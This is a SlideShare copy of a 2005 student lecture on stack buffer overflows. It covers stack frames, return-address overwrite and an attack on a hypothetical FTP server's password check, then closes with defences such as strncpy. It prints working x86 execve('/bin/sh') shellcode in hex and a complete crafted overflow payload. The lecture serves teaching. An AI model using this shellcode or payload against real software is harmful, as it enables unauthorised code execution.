Susam Pal, profile picture
Uploaded bySusam Pal
1,597 views

StackOverflow

The document discusses stack overflow attacks and protection against them. It begins with an introduction to stack overflows, explaining that they occur when more items are pushed onto the stack than allocated space allows. This can overwrite adjacent memory and execute arbitrary code. Next, it describes the operation of the stack, how functions use stacks to store data and return addresses. The document then explains how attackers can exploit buffer overflows to manipulate the return address and inject shellcode to execute malicious code. Finally, it discusses some methods to protect against stack overflow attacks, such as bounds checking, address space layout randomization, and nonexecutable stacks.

Embed presentation

Downloaded 15 times
Stack Overflow (Electronic Crime & Security) Susam Pal 8th Semester (2005) Electronics and Telecommunication Engineering Kalinga Institute of Industrial Technology University
Agenda Introduction to Stack Overflow  Operation of Stack  Attacking the Stack and Protection
Introduction to Stack Overflow  About Stack Overflow  Vulnerable Software  Vulnerable Operating Systems  Major Attacks
About Stack Overflow What is a stack overflow? An error condition which results from attempting to push more items onto a stack than space has been allocated for. Is it dangerous? Yes, it is one of the most dangerous threats that exists in the microprocessor world from computer systems to embedded systems. Any processor that uses a stack may be vulnerable to an attack due to stack overflow. Why is it dangerous? Attempting to push more items on a stack than space allocated overwrites adjacent memory locations which might contain return addresses thus executing other code.
Vulnerable Software WS FTP Server V5.03 Winamp 5.06 Real One Player DMS POP3 Server SLMain 5.5 POP3 Server Microsoft Lsass.exe Microsoft IIS Server API Microsoft Outlook
Vulnerable Operating Systems Microsoft Windows FreeBSD Linux Sun OS 5.6 HP-UX SGI IRIX IBM AIX Novell Netware
Major Attacks Code Red Virus Attacked a buffer overflow weakness in the Microsoft IIS Server API on July 19, 2001. Damage: $2.6 billion Sasser Worm Attacked the Microsoft LSAS buffer overflow vulnerability on April 30, 2004. Damage: $3.5 billion
Operation of Stack  Onion Skin Model of Computer System  Process Memory Regions  Uses of Stack  Stack in Action
Onion Skin Model of Computer System Shell Kernel Hardware User enters command Shell interprets command Shell invokes necessary kernel routines Kernel routines drive the hardware resources User
Process Memory Regions Stack Executable Code Data Higher Memory Address Lower Memory Address
Process Memory Regions Stack Executable Code Data Subroutines use the stack to save necessary Data, e.g. register values which are altered by the subroutine. Data area contains initialized and uninitialized data. Static variables are loaded into this region. Code area contains the instructions of the executable file. This area is normally marked read-only and any attempt to write to it results in a segmentation violation.
Uses of Stack The microprocessor uses this area to save the return address during a subroutine call. Subroutines use this area to save necessary data, e.g. register values which are altered by the subroutine. Calling routines usually push into the stack the arguments they want to pass to the subroutine. Dynamic variables are created on the stack by decrementing the stack pointer by the size of the variable.
Stack in Action void function(int a, int b) { char buffer1[4]; char buffer2[4]; } main() { function(1,2); } EBP (shell) indicates what ESP is pointing to indicates what EBP is pointing to
Stack in Action void function(int a, int b) { char buffer1[4]; char buffer2[4]; } main() { function(1,2); } EBP (shell) 00000002 00000001 EIP EBP (main) indicates what ESP is pointing to indicates what EBP is pointing to Frame 1 (main)
Stack in Action void function(int a, int b) { char buffer1[4]; char buffer2[4]; } main() { function(1,2); } EBP (shell) 00000002 00000001 EIP EBP (main) buffer1[4] buffer2[4] indicates what ESP is pointing to indicates what EBP is pointing to Frame 1 (main) Frame 2 (function)
Stack in Action EBP (shell) 00000002 00000001 EIP EBP (main) buffer1[4] buffer2[4] indicates what ESP is pointing to indicates what EBP is pointing to Frame 1 (main) Frame 2 (function) PUSH EBP MOV EBP, ESP PUSHD 00000002H PUSHD 00000001H CALL FUNCTION MOV ESP, EBP POP EBP RET PUSH EBP MOV EBP, ESP SUB ESP, 00000008H MOV ESP, EBP POP EBP RET
Stack in Action *str – 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Hi!”; function(string); }
Stack in Action *str – 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte buffer[3] buffer[2] buffer[1] buffer[0] Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Hi!”; function(string); }
Stack in Action *str – 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte ‘0’ ‘!’ ‘i’ ‘H’ Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Hi!”; function(string); }
Attacking the Stack and Protection  Stack Under Attack  FTP Server Under Attack  Plugging the Loophole  Fighting Stack Overflow
Stack Under Attack *str – 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte ‘0’ ‘!’ ‘i’ ‘H’ Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Hi!”; function(string); }
Stack Under Attack *str – 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte buffer[3] buffer[2] buffer[1] buffer[0] Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Good Morning!”; function(string); }
Stack Under Attack *str – 4th byte *str – 3rd byte 0 ! g n i n r o M d o o G Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Good Morning!”; function(string); }
Stack Under Attack *str - 4th byte *str - 3rd byte 0 00H ! 21H g 67H n 6EH i 69H n 6EH r 72H o 6FH M 4DH 20H d 64H o 6FH o 6FH G 47H Return Address Returns to offset 676E696EH #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]="Good Morning!”; function(string); }
verify(*password) { char buffer[8]; int f1, f2; strcpy(buffer[8],password); 00FF1FFFH: *password 00FF1FFEH: *password 00FF1FFDH: *password 00FF1FFCH: *password 00FF1FFBH: EIP 00FF1FFAH: EIP 00FF1FF9H: EIP 00FF1FF8H: EIP 00FF1FF7H: EBP 00FF1FF6H: EBP 00FF1FF5H: EBP 00FF1FF4H: EBP 00FF1FF3H: buffer[7] 00FF1FF2H: buffer[6] 00FF1FF1H: buffer[5] 00FF1FF0H: buffer[4] 00FF1FEFH: buffer[3] 00FF1FEEH: buffer[2] 00FF1FEDH: buffer[1] 00FF1FECH: buffer[0] 00FF1FEBH: f1 00FF1FEAH: f1 00FF1FE9H: f1 00FF1FE8H: f1 FTP Server Under Attack Return address
verify(*password) { char buffer[8]; int f1, f2; strcpy(buffer[8],password); 00FF1FFFH: *password 00FF1FFEH: *password 00FF1FFDH: *password 00FF1FFCH: *password 00FF1FFBH: EIP 00FF1FFAH: EIP 00FF1FF9H: EIP 00FF1FF8H: EIP 00FF1FF7H: EBP 00FF1FF6H: EBP 00FF1FF5H: EBP 00FF1FF4H: EBP 00FF1FF3H: ‘0’ 00FF1FF2H: ‘r’ 00FF1FF1H: ‘o’ 00FF1FF0H: ‘t’ 00FF1FEFH: ‘i’ 00FF1FEEH: ‘s’ 00FF1FEDH: ‘i’ 00FF1FECH: ‘v’ 00FF1FEBH: f1 00FF1FEAH: f1 00FF1FE9H: f1 00FF1FE8H: f1 FTP Server Under Attack Return address
Shell Code Assembly Codes Hex Codes JMP 1FH EB, 1F POP ESI 5E MOV 08H[ESI], ESI 89, 76, 08 XOR EAX, EAX 31, C0 MOV 07H[ESI], EAX 88, 46, 07 MOV 0CH[ESI], EAX 89, 46, 0C MOV AL, 0BH B0, 0B MOV EBX, ESI 89, F3 LEA ECX, 08H[ESI] 8D, 4E, 08 LEA EDX, 0CH[ESI] 8D, 56, 0C INT 80H CD, 80 XOR EBX, EBX 31, DB MOV EAX, EBX 89, D8 INC EAX 40 INT 80H CD, 80 CALL -24H E8, DC, FF, FF, FF .STRING “/bin/sh” 2F, 62, 69, 6E, 2F, 73, 68, 00
verify(*password) { char buffer[8]; int f1, f2; strcpy(buffer[8],password); 00FF2001H: 76H 00FF1FFFH: 89H 00FF1FFEH: 5EH 00FF1FFDH: 1FH 00FF1FFCH: EBH 00FF1FFBH: 00H 00FF1FFAH: FFH 00FF1FF9H: 1FH 00FF1FF8H: FCH 00FF1FF7H: ‘A’ 00FF1FF6H: ‘A’ 00FF1FF5H: ‘A’ 00FF1FF4H: ‘A’ 00FF1FF3H: ‘A’ 00FF1FF2H: ‘A’ 00FF1FF1H: ‘A’ 00FF1FF0H: ‘A’ 00FF1FEFH: ‘A’ 00FF1FEEH: ‘A’ 00FF1FEDH: ‘A’ 00FF1FECH: ‘A’ 00FF1FEBH: f1 00FF1FEAH: f1 00FF1FE9H: f1 00FF1FE8H: f1 FTP Server Under Attack Shell Code ( In Hex ) EB, 1F, 5E, 89, 76, 08, 31, C0, 88, 46, 07, 89, 46, 0C, B0, 0B, 89, F3, 8D, 4E, 08, 8D, 56, 0C, CD, 80, 31, DB, 89, D8, 40, CD, 80, E8, DC, FF, FF, FF, 2F, 62, 69, 6E, 2F, 73, 68, 00 Return Address ( 00FF1FFCH )
00FF2009H: 46H 00FF2008H: 89H 00FF2007H: 07H 00FF2006H: 46H 00FF2005H: 88H 00FF2004H: C0H 00FF2003H: 31H 00FF2002H: 08H 00FF2001H: 76H 00FF1FFFH: 89H 00FF1FFEH: 5EH 00FF1FFDH: 1FH 00FF1FFCH: EBH 00FF1FFBH: 00H 00FF1FFAH: FFH 00FF1FF9H: 1FH 00FF1FF8H: FCH 00FF1FF7H: ‘A’ 00FF1FF6H: ‘A’ 00FF1FF5H: ‘A’ 00FF1FF4H: ‘A’ 00FF1FF3H: ‘A’ 00FF1FF2H: ‘A’ 00FF1FF1H: ‘A’ 00FF1FF0H: ‘A’ FTP Server Under Attack Password to be entered (Codes in Hex) 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, FC, 1F, FF, 00, EB, 1F, 5E, 89, 76, 08, 31, C0, 88, 46, 07, 89, 46, 0C, B0, 0B, 89, F3, 8D, 4E, 08, 8D, 56, 0C, CD, 80, 31, DB, 89, D8, 40, CD, 80, E8, DC, FF, FF, FF, 2F, 62, 69, 6E, 2F, 73, 68, 00 ShellCode
00FF2009H: 46H 00FF2008H: 89H 00FF2007H: 07H 00FF2006H: 46H 00FF2005H: 88H 00FF2004H: C0H 00FF2003H: 31H 00FF2002H: 08H 00FF2001H: 76H 00FF1FFFH: 89H 00FF1FFEH: 5EH 00FF1FFDH: 1FH 00FF1FFCH: EBH 00FF1FFBH: 00H 00FF1FFAH: FFH 00FF1FF9H: 1FH 00FF1FF8H: FCH 00FF1FF7H: ‘A’ 00FF1FF6H: ‘A’ 00FF1FF5H: ‘A’ 00FF1FF4H: ‘A’ 00FF1FF3H: ‘A’ 00FF1FF2H: ‘A’ 00FF1FF1H: ‘A’ 00FF1FF0H: ‘A’ FTP Server Under Attack ShellCode Shell Prompt Password to be entered (Codes in Hex) 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, FC, 1F, FF, 00, EB, 1F, 5E, 89, 76, 08, 31, C0, 88, 46, 07, 89, 46, 0C, B0, 0B, 89, F3, 8D, 4E, 08, 8D, 56, 0C, CD, 80, 31, DB, 89, D8, 40, CD, 80, E8, DC, FF, FF, FF, 2F, 62, 69, 6E, 2F, 73, 68, 00
00FF1FFFH: *password 00FF1FFEH: *password 00FF1FFDH: *password 00FF1FFCH: *password 00FF1FFBH: EIP 00FF1FFAH: EIP 00FF1FF9H: EIP 00FF1FF8H: EIP 00FF1FF7H: EBP 00FF1FF6H: EBP 00FF1FF5H: EBP 00FF1FF4H: EBP 00FF1FF3H: ‘A’ 00FF1FF2H: ‘A’ 00FF1FF1H: ‘A’ 00FF1FF0H: ‘A’ 00FF1FEFH: ‘A’ 00FF1FEEH: ‘A’ 00FF1FEDH: ‘A’ 00FF1FECH: ‘A’ 00FF1FEBH: f1 00FF1FEAH: f1 00FF1FE9H: f1 00FF1FE8H: f1 Plugging the Loophole verify(*password) { char buffer[8]; int f1, f2; strncpy(buffer[8],password,8);
Fighting Stack Overflow C Programmers now refrain from using strcpy(), strcat() in their programs. They use strncpy(), strncat() instead which perform bound checking. Programmers now write their applications in languages like Java, Visual Basic which have better stack and memory management features. Sun Microsystems is trying to make their SPARC processor immune to stack overflow attack by introducing new features to protect the return address during a subroutine call.
Thank You!

More Related Content

PPTX
Memory management CP
byShubham Sinha
 
PPT
Chapter 11 - File System Implementation
byWayne Jones Jnr
 
PDF
Introduction to Return-Oriented Exploitation on ARM64 - Billy Ellis
byBillyEllis3
 
PPTX
Linux System Programming - Buffered I/O
byYourHelper1
 
PPTX
File Protection
byKriti Katyayan
 
PPTX
contiguous memory allocation.pptx
byRajapriya82
 
PPT
Chapter 10 - File System Interface
byWayne Jones Jnr
 
PPTX
Computer architecture page replacement algorithms
byMazin Alwaaly
 
Memory management CP
byShubham Sinha
 
Chapter 11 - File System Implementation
byWayne Jones Jnr
 
Introduction to Return-Oriented Exploitation on ARM64 - Billy Ellis
byBillyEllis3
 
Linux System Programming - Buffered I/O
byYourHelper1
 
File Protection
byKriti Katyayan
 
contiguous memory allocation.pptx
byRajapriya82
 
Chapter 10 - File System Interface
byWayne Jones Jnr
 
Computer architecture page replacement algorithms
byMazin Alwaaly
 

What's hot

PDF
Exception Handling in Java
byJava2Blog
 
PPTX
Exception handling
byPhD Research Scholar
 
PPTX
Buffer overflow attacks
byKapil Nagrale
 
PPS
Jdbc architecture and driver types ppt
bykamal kotecha
 
PPTX
Java exception handling
byBHUVIJAYAVELU
 
PPT
Exception Handling in JAVA
bySURIT DATTA
 
PPT
Final keyword in java
byLovely Professional University
 
PPTX
php
byajeetjhajharia
 
PPTX
Types of Drivers in JDBC
byHemant Sharma
 
PPT
Keyloggers and Spywares
byAnkit Mistry
 
PPTX
Java Tokens
byMadishetty Prathibha
 
PPSX
Exception Handling
byReddhi Basu
 
PPTX
Applets in java
byWani Zahoor
 
PPT
Exception handling
byM Vishnuvardhan Reddy
 
PPT
Exception handling in java
byPratik Soares
 
PPTX
HTTP request and response
bySahil Agarwal
 
ODP
Apache ppt
bypoornima sugumaran
 
PDF
Applets
byPrabhakaran V M
 
PPTX
java interface and packages
byVINOTH R
 
PPSX
Modules and packages in python
byTMARAGATHAM
 
Exception Handling in Java
byJava2Blog
 
Exception handling
byPhD Research Scholar
 
Buffer overflow attacks
byKapil Nagrale
 
Jdbc architecture and driver types ppt
bykamal kotecha
 
Java exception handling
byBHUVIJAYAVELU
 
Exception Handling in JAVA
bySURIT DATTA
 
Final keyword in java
byLovely Professional University
 
php
byajeetjhajharia
 
Types of Drivers in JDBC
byHemant Sharma
 
Keyloggers and Spywares
byAnkit Mistry
 
Java Tokens
byMadishetty Prathibha
 
Exception Handling
byReddhi Basu
 
Applets in java
byWani Zahoor
 
Exception handling
byM Vishnuvardhan Reddy
 
Exception handling in java
byPratik Soares
 
HTTP request and response
bySahil Agarwal
 
Apache ppt
bypoornima sugumaran
 
Applets
byPrabhakaran V M
 
java interface and packages
byVINOTH R
 
Modules and packages in python
byTMARAGATHAM
 

Viewers also liked

PPTX
Detecting Threats: A Look at the Verizon DBIR and StealthWatch
byLancope, Inc.
 
PPTX
SCADA Security: The Five Stages of Cyber Grief
byLancope, Inc.
 
PDF
The Seven Deadly Sins of Incident Response
byLancope, Inc.
 
PDF
So You Want a Threat Intelligence Function (But Were Afraid to Ask)
byLancope, Inc.
 
PPTX
Extending Network Visibility: Down to the Endpoint
byLancope, Inc.
 
PDF
Top 10 Security Vulnerabilities (2006)
bySusam Pal
 
PDF
StealthWatch & Point-of-Sale (POS) Malware
byLancope, Inc.
 
PDF
Cisco Threat Defense (Cisco Stealthwatch)
byCisco Russia
 
PPTX
The Internet of Everything is Here
byLancope, Inc.
 
PPTX
Combating Insider Threats – Protecting Your Agency from the Inside Out
byLancope, Inc.
 
PDF
Cisco CSIRT Case Study: Forensic Investigations with NetFlow
byLancope, Inc.
 
PPTX
Intelligent Segmentation: Protecting the Enterprise with StealthWatch, Cisco ...
byLancope, Inc.
 
PPTX
DDos Attacks and Web Threats: How to Protect Your Site & Information
byjenkoon
 
PPTX
Combating Insider Threats – Protecting Your Agency from the Inside Out
byLancope, Inc.
 
PDF
RSA NetWitness Log Decoder
bySusam Pal
 
PDF
Fire Eye Appliance Quick Start
byContent Rules, Inc.
 
PDF
5 Signs you have an Insider Threat
byLancope, Inc.
 
PDF
RSA: Security Analytics Architecture for APT
byLee Wei Yeong
 
PDF
Network Security and Visibility through NetFlow
byLancope, Inc.
 
Detecting Threats: A Look at the Verizon DBIR and StealthWatch
byLancope, Inc.
 
SCADA Security: The Five Stages of Cyber Grief
byLancope, Inc.
 
The Seven Deadly Sins of Incident Response
byLancope, Inc.
 
So You Want a Threat Intelligence Function (But Were Afraid to Ask)
byLancope, Inc.
 
Extending Network Visibility: Down to the Endpoint
byLancope, Inc.
 
Top 10 Security Vulnerabilities (2006)
bySusam Pal
 
StealthWatch & Point-of-Sale (POS) Malware
byLancope, Inc.
 
Cisco Threat Defense (Cisco Stealthwatch)
byCisco Russia
 
The Internet of Everything is Here
byLancope, Inc.
 
Combating Insider Threats – Protecting Your Agency from the Inside Out
byLancope, Inc.
 
Cisco CSIRT Case Study: Forensic Investigations with NetFlow
byLancope, Inc.
 
Intelligent Segmentation: Protecting the Enterprise with StealthWatch, Cisco ...
byLancope, Inc.
 
DDos Attacks and Web Threats: How to Protect Your Site & Information
byjenkoon
 
Combating Insider Threats – Protecting Your Agency from the Inside Out
byLancope, Inc.
 
RSA NetWitness Log Decoder
bySusam Pal
 
Fire Eye Appliance Quick Start
byContent Rules, Inc.
 
5 Signs you have an Insider Threat
byLancope, Inc.
 
RSA: Security Analytics Architecture for APT
byLee Wei Yeong
 
Network Security and Visibility through NetFlow
byLancope, Inc.
 

Similar to StackOverflow

PPT
Ch03-bufferOverFlow-attack-Ch03-bufferOverFlow-attack.ppt.ppt
byDavid Vera Olivera, PMP®, ITIL, SCM®
 
PDF
1.Buffer Overflows
byphanleson
 
ODP
Exploiting Memory Overflows
byAnkur Tyagi
 
PDF
Offensive cyber security: Smashing the stack with Python
byMalachi Jones
 
PPTX
Stack-Based Buffer Overflows
byDaniel Tumser
 
PDF
Buffer overflow attacks
bySandun Perera
 
PPTX
Software to the slaughter
byQuinn Wilton
 
PPTX
fjfh mjgkj jkhglkjh jhlkh lhlkkhl kjhjkhjk
byahmed8790
 
PPT
6 buffer overflows
bydrewz lin
 
PDF
Buffer Overflows 101: Some Assembly Required
byKory Kyzar
 
PPT
E-Commerce Security - Application attacks - Server Attacks
byphanleson
 
PDF
AllBits presentation - Lower Level SW Security
byAllBits BVBA (freelancer)
 
PDF
Software Security
byRoman Oliynykov
 
PDF
Ceh v5 module 20 buffer overflow
byVi Tính Hoàng Nam
 
PDF
Presentation buffer overflow attacks and theircountermeasures
bytharindunew
 
PPT
Buffer OverFlow
byRambabu Duddukuri
 
PPT
Security related security analyst ppt.ppt
byMubeenaBegum11
 
PDF
Exploitation Crash Course
byUTD Computer Security Group
 
PDF
The Stack and Buffer Overflows
byUTD Computer Security Group
 
PDF
Buffer overflow tutorial
byhughpearse
 
Ch03-bufferOverFlow-attack-Ch03-bufferOverFlow-attack.ppt.ppt
byDavid Vera Olivera, PMP®, ITIL, SCM®
 
1.Buffer Overflows
byphanleson
 
Exploiting Memory Overflows
byAnkur Tyagi
 
Offensive cyber security: Smashing the stack with Python
byMalachi Jones
 
Stack-Based Buffer Overflows
byDaniel Tumser
 
Buffer overflow attacks
bySandun Perera
 
Software to the slaughter
byQuinn Wilton
 
fjfh mjgkj jkhglkjh jhlkh lhlkkhl kjhjkhjk
byahmed8790
 
6 buffer overflows
bydrewz lin
 
Buffer Overflows 101: Some Assembly Required
byKory Kyzar
 
E-Commerce Security - Application attacks - Server Attacks
byphanleson
 
AllBits presentation - Lower Level SW Security
byAllBits BVBA (freelancer)
 
Software Security
byRoman Oliynykov
 
Ceh v5 module 20 buffer overflow
byVi Tính Hoàng Nam
 
Presentation buffer overflow attacks and theircountermeasures
bytharindunew
 
Buffer OverFlow
byRambabu Duddukuri
 
Security related security analyst ppt.ppt
byMubeenaBegum11
 
Exploitation Crash Course
byUTD Computer Security Group
 
The Stack and Buffer Overflows
byUTD Computer Security Group
 
Buffer overflow tutorial
byhughpearse
 

StackOverflow

  • 1.
    Stack Overflow (Electronic Crime& Security) Susam Pal 8th Semester (2005) Electronics and Telecommunication Engineering Kalinga Institute of Industrial Technology University
  • 2.
    Agenda Introduction to StackOverflow  Operation of Stack  Attacking the Stack and Protection
  • 3.
    Introduction to StackOverflow  About Stack Overflow  Vulnerable Software  Vulnerable Operating Systems  Major Attacks
  • 4.
    About Stack Overflow Whatis a stack overflow? An error condition which results from attempting to push more items onto a stack than space has been allocated for. Is it dangerous? Yes, it is one of the most dangerous threats that exists in the microprocessor world from computer systems to embedded systems. Any processor that uses a stack may be vulnerable to an attack due to stack overflow. Why is it dangerous? Attempting to push more items on a stack than space allocated overwrites adjacent memory locations which might contain return addresses thus executing other code.
  • 5.
    Vulnerable Software WS FTPServer V5.03 Winamp 5.06 Real One Player DMS POP3 Server SLMain 5.5 POP3 Server Microsoft Lsass.exe Microsoft IIS Server API Microsoft Outlook
  • 6.
    Vulnerable Operating Systems MicrosoftWindows FreeBSD Linux Sun OS 5.6 HP-UX SGI IRIX IBM AIX Novell Netware
  • 7.
    Major Attacks Code RedVirus Attacked a buffer overflow weakness in the Microsoft IIS Server API on July 19, 2001. Damage: $2.6 billion Sasser Worm Attacked the Microsoft LSAS buffer overflow vulnerability on April 30, 2004. Damage: $3.5 billion
  • 8.
    Operation of Stack Onion Skin Model of Computer System  Process Memory Regions  Uses of Stack  Stack in Action
  • 9.
    Onion Skin Modelof Computer System Shell Kernel Hardware User enters command Shell interprets command Shell invokes necessary kernel routines Kernel routines drive the hardware resources User
  • 10.
  • 11.
    Process Memory Regions Stack Executable Code Data Subroutinesuse the stack to save necessary Data, e.g. register values which are altered by the subroutine. Data area contains initialized and uninitialized data. Static variables are loaded into this region. Code area contains the instructions of the executable file. This area is normally marked read-only and any attempt to write to it results in a segmentation violation.
  • 12.
    Uses of Stack Themicroprocessor uses this area to save the return address during a subroutine call. Subroutines use this area to save necessary data, e.g. register values which are altered by the subroutine. Calling routines usually push into the stack the arguments they want to pass to the subroutine. Dynamic variables are created on the stack by decrementing the stack pointer by the size of the variable.
  • 13.
    Stack in Action voidfunction(int a, int b) { char buffer1[4]; char buffer2[4]; } main() { function(1,2); } EBP (shell) indicates what ESP is pointing to indicates what EBP is pointing to
  • 14.
    Stack in Action voidfunction(int a, int b) { char buffer1[4]; char buffer2[4]; } main() { function(1,2); } EBP (shell) 00000002 00000001 EIP EBP (main) indicates what ESP is pointing to indicates what EBP is pointing to Frame 1 (main)
  • 15.
    Stack in Action voidfunction(int a, int b) { char buffer1[4]; char buffer2[4]; } main() { function(1,2); } EBP (shell) 00000002 00000001 EIP EBP (main) buffer1[4] buffer2[4] indicates what ESP is pointing to indicates what EBP is pointing to Frame 1 (main) Frame 2 (function)
  • 16.
    Stack in Action EBP(shell) 00000002 00000001 EIP EBP (main) buffer1[4] buffer2[4] indicates what ESP is pointing to indicates what EBP is pointing to Frame 1 (main) Frame 2 (function) PUSH EBP MOV EBP, ESP PUSHD 00000002H PUSHD 00000001H CALL FUNCTION MOV ESP, EBP POP EBP RET PUSH EBP MOV EBP, ESP SUB ESP, 00000008H MOV ESP, EBP POP EBP RET
  • 17.
    Stack in Action *str– 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Hi!”; function(string); }
  • 18.
    Stack in Action *str– 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte buffer[3] buffer[2] buffer[1] buffer[0] Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Hi!”; function(string); }
  • 19.
    Stack in Action *str– 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte ‘0’ ‘!’ ‘i’ ‘H’ Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Hi!”; function(string); }
  • 20.
    Attacking the Stackand Protection  Stack Under Attack  FTP Server Under Attack  Plugging the Loophole  Fighting Stack Overflow
  • 21.
    Stack Under Attack *str– 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte ‘0’ ‘!’ ‘i’ ‘H’ Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Hi!”; function(string); }
  • 22.
    Stack Under Attack *str– 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte buffer[3] buffer[2] buffer[1] buffer[0] Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Good Morning!”; function(string); }
  • 23.
    Stack Under Attack *str– 4th byte *str – 3rd byte 0 ! g n i n r o M d o o G Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Good Morning!”; function(string); }
  • 24.
    Stack Under Attack *str- 4th byte *str - 3rd byte 0 00H ! 21H g 67H n 6EH i 69H n 6EH r 72H o 6FH M 4DH 20H d 64H o 6FH o 6FH G 47H Return Address Returns to offset 676E696EH #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]="Good Morning!”; function(string); }
  • 25.
    verify(*password) { char buffer[8]; int f1,f2; strcpy(buffer[8],password); 00FF1FFFH: *password 00FF1FFEH: *password 00FF1FFDH: *password 00FF1FFCH: *password 00FF1FFBH: EIP 00FF1FFAH: EIP 00FF1FF9H: EIP 00FF1FF8H: EIP 00FF1FF7H: EBP 00FF1FF6H: EBP 00FF1FF5H: EBP 00FF1FF4H: EBP 00FF1FF3H: buffer[7] 00FF1FF2H: buffer[6] 00FF1FF1H: buffer[5] 00FF1FF0H: buffer[4] 00FF1FEFH: buffer[3] 00FF1FEEH: buffer[2] 00FF1FEDH: buffer[1] 00FF1FECH: buffer[0] 00FF1FEBH: f1 00FF1FEAH: f1 00FF1FE9H: f1 00FF1FE8H: f1 FTP Server Under Attack Return address
  • 26.
    verify(*password) { char buffer[8]; int f1,f2; strcpy(buffer[8],password); 00FF1FFFH: *password 00FF1FFEH: *password 00FF1FFDH: *password 00FF1FFCH: *password 00FF1FFBH: EIP 00FF1FFAH: EIP 00FF1FF9H: EIP 00FF1FF8H: EIP 00FF1FF7H: EBP 00FF1FF6H: EBP 00FF1FF5H: EBP 00FF1FF4H: EBP 00FF1FF3H: ‘0’ 00FF1FF2H: ‘r’ 00FF1FF1H: ‘o’ 00FF1FF0H: ‘t’ 00FF1FEFH: ‘i’ 00FF1FEEH: ‘s’ 00FF1FEDH: ‘i’ 00FF1FECH: ‘v’ 00FF1FEBH: f1 00FF1FEAH: f1 00FF1FE9H: f1 00FF1FE8H: f1 FTP Server Under Attack Return address
  • 27.
    Shell Code Assembly CodesHex Codes JMP 1FH EB, 1F POP ESI 5E MOV 08H[ESI], ESI 89, 76, 08 XOR EAX, EAX 31, C0 MOV 07H[ESI], EAX 88, 46, 07 MOV 0CH[ESI], EAX 89, 46, 0C MOV AL, 0BH B0, 0B MOV EBX, ESI 89, F3 LEA ECX, 08H[ESI] 8D, 4E, 08 LEA EDX, 0CH[ESI] 8D, 56, 0C INT 80H CD, 80 XOR EBX, EBX 31, DB MOV EAX, EBX 89, D8 INC EAX 40 INT 80H CD, 80 CALL -24H E8, DC, FF, FF, FF .STRING “/bin/sh” 2F, 62, 69, 6E, 2F, 73, 68, 00
  • 28.
